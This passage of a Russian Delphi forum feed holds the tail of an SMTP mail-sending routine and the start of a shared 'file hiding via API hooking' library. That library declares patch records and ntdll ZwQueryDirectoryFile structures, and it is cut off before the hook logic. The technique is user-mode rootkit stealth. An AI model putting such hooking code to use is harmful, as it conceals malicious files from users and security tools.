RecvBuf, 255, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt; SendBuf:=&apos;AUTH LOGIN&apos;#13#10; &lt;br /&gt; Send(S, SendBuf&amp;#91;1], Length(SendBuf&amp;#41;, 0&amp;#41;; &lt;br /&gt; Recv(S, RecvBuf, 255, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt; SendBuf:=EncodeBase64(MyLogin&amp;#41; + #13#10; &lt;br /&gt; Send(S, SendBuf&amp;#91;1], Length(SendBuf&amp;#41;, 0&amp;#41;; &lt;br /&gt; Recv(S, RecvBuf, 255, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt; SendBuf:=EncodeBase64(MyPass&amp;#41; + #13#10; &lt;br /&gt; Send(S, SendBuf&amp;#91;1], Length(SendBuf&amp;#41;, 0&amp;#41;; &lt;br /&gt; Recv(S, RecvBuf, 255, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt; SendBuf:=&apos;MAIL FROM:&lt;&apos; + MyLogin + &apos;@mail.ru&gt;&apos;#13#10; &lt;br /&gt; Send(S, SendBuf&amp;#91;1], Length(SendBuf&amp;#41;, 0&amp;#41;; &lt;br /&gt; Recv(S, RecvBuf, 255, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt; SendBuf:=&apos;RCPT TO:&lt;&apos; + DestMail + &apos;&gt;&apos;#13#10; &lt;br /&gt; Send(S, SendBuf&amp;#91;1], Length(SendBuf&amp;#41;, 0&amp;#41;; &lt;br /&gt; Recv(S, RecvBuf, 255, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt; SendBuf:=&apos;DATA&apos;#13#10; &lt;br /&gt; Send(S, SendBuf&amp;#91;1], Length(SendBuf&amp;#41;, 0&amp;#41;; &lt;br /&gt; Recv(S, RecvBuf, 255, 0&amp;#41;; &lt;br /&gt;&lt;br /&gt; SendBuf:=&apos;From: &apos; + MyLogin + &apos;@mail.ru&apos;#13#10 + &lt;br /&gt; &apos;To: &apos; + DestMail + #13#10 + &lt;br /&gt; &apos;Subject: &apos; + MailSub + #13#10 + &lt;br /&gt; MailText + #13#10 + &apos;.&apos; + #13#10; &lt;br /&gt; Send(S, SendBuf&amp;#91;1], Length(SendBuf&amp;#41;, 0&amp;#41;; &lt;br /&gt; Recv(S, RecvBuf, 255, 0&amp;#41;; &lt;br /&gt; CloseSocket(S&amp;#41;; &lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;&lt;!--/ust--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uSpoiler--&gt;</content:encoded>
<category>Windows API в Delphi</category>
<dc:creator>gravitas</dc:creator>
<guid>https://delfcode.ru/forum/30-622-1</guid>
</item>
<item>
<title>Хочу поделиться исходничком...</title>
<link>https://delfcode.ru/forum/30-475-1</link>
<pubDate>Tue, 02 Oct 2012 02:28:14 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/30&quot;&gt;Windows API в Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Скрытие файлов методом перехвата api функций.&lt;br /&gt;Автор темы: Neo&lt;br /&gt;Автор последнего сообщения: Neo&lt;br /&gt;Количество ответов: 15</description>
<content:encoded>Я нашёл где-то в инете исходник скрытия файлов на жёстком диске методом перехвата api функций!Если он где-то здесь есть,то извините,а если нет,то поставьте плюсик &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;p&gt; &lt;!--BBhide--&gt;&lt;span class=&quot;UhideBlockL&quot;&gt;&lt;a href=&quot;javascript://&quot; onclick=&quot;new _uWnd(&apos;LF&apos;,&apos; &apos;,-250,-110,{autosize:0,closeonesc:1,resize:1},{url:&apos;/index/40&apos;});return false;&quot;&gt;Доступно только для пользователей&lt;/a&gt;&lt;/span&gt;&lt;span class=&quot;UhideBlock&quot;&gt;&lt;!--uSpoiler--&gt;&lt;div class=&quot;uSpoilerClosed&quot; id=&quot;uSpoilerJPj3MP&quot;&gt;&lt;div class=&quot;uSpoilerButBl&quot;&gt;&lt;input type=&quot;button&quot; class=&quot;uSpoilerButton&quot; onclick=&quot;if($(&apos;#uSpoilerJPj3MP&apos;)[0]){if ($(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerJPj3MP&apos;))[0].style.display==&apos;none&apos;){$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerJPj3MP&apos;))[0].style.display=&apos;&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerJPj3MP&apos;)).val(&apos;Закрыть спойлер&apos;);$(&apos;#uSpoilerJPj3MP&apos;).attr(&apos;class&apos;,&apos;uSpoilerOpened&apos;);}else {$(&apos;.uSpoilerText&apos;,$(&apos;#uSpoilerJPj3MP&apos;))[0].style.display=&apos;none&apos;;$(&apos;.uSpoilerButton&apos;,$(&apos;#uSpoilerJPj3MP&apos;)).val(&apos;Открыть спойлер&apos;);$(&apos;#uSpoilerJPj3MP&apos;).attr(&apos;class&apos;,&apos;uSpoilerClosed&apos;);}}&quot; value=&quot;Открыть спойлер&quot;/&gt;&lt;/div&gt;&lt;div class=&quot;uSpoilerText&quot; style=&quot;display:none;&quot;&gt;&lt;!--ust--&gt;&lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; library Hide; &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NTStatus = cardinal; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;USHORT = WORD; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;OldCode = packed record &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;One: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;two: word; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;far_jmp = packed record &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PuhsOp: byte; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PushArg: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RetOp: byte; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PUnicodeString = ^TUnicodeString; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TUnicodeString = packed record &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Length: Word; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MaximumLength: Word; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Buffer: PWideChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PFILE_DIRECTORY_INFORMATION = ^FILE_DIRECTORY_INFORMATION; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE_DIRECTORY_INFORMATION = packed record &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NextEntryOffset:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Unknown:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CreationTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastAccessTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastWriteTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ChangeTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EndOfFile:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AllocationSize:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileAttributes:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileNameLength:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;array&amp;#91;0..0] of WideChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PFILE_FULL_DIRECTORY_INFORMATION = ^FILE_FULL_DIRECTORY_INFORMATION; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE_FULL_DIRECTORY_INFORMATION = packed record &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NextEntryOffset:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Unknown:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CreationTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastAccessTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastWriteTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ChangeTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EndOfFile:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AllocationSize:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileAttributes:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileNameLength:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EaInformationLength: ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;array&amp;#91;0..0] of WideChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PFILE_BOTH_DIRECTORY_INFORMATION = ^FILE_BOTH_DIRECTORY_INFORMATION; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE_BOTH_DIRECTORY_INFORMATION = packed record &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NextEntryOffset:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Unknown:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CreationTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastAccessTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LastWriteTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ChangeTime:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EndOfFile:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AllocationSize:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LARGE_INTEGER; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileAttributes:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileNameLength:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;EaInformationLength: ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AlternateNameLength: USHORT; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;AlternateName:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;array &amp;#91;0..11] of WideChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;array &amp;#91;0..0] of WideChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PFILE_NAMES_INFORMATION = ^FILE_NAMES_INFORMATION; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FILE_NAMES_INFORMATION = packed record &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;NextEntryOffset:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Unknown:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileNameLength:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ULONG; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;array &amp;#91;0..0] of WideChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; const &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileDirectoryInformation&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= 1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileFullDirectoryInformation&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= 2; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileBothDirectoryInformation&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= 3; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileNamesInformation&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= 12; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;STATUS_NO_SUCH_FILE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= $C000000F; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;STATUS_SUCCESS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;= $00000000; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;JmpZwq: far_jmp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;OldZwq: OldCode; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;PtrZwq: Pointer; &lt;br /&gt;&lt;br /&gt; Function ZwQueryDirectoryFile(FileHandle: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Event: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcRoutine: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ApcContext: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IoStatusBlock: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformation: pointer; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationLength: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileInformationClass: dword; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReturnSingleEntry: bool; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FileName: PUnicodeString; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RestartScan: bool&amp;#41;: NTStatus; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stdcall; external &apos;ntdll.dll&apos;; &lt;br /&gt;&lt;br /&gt; Function cpmpwclen(Str1: PWideChar; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Str2: PWideChar; &lt;br 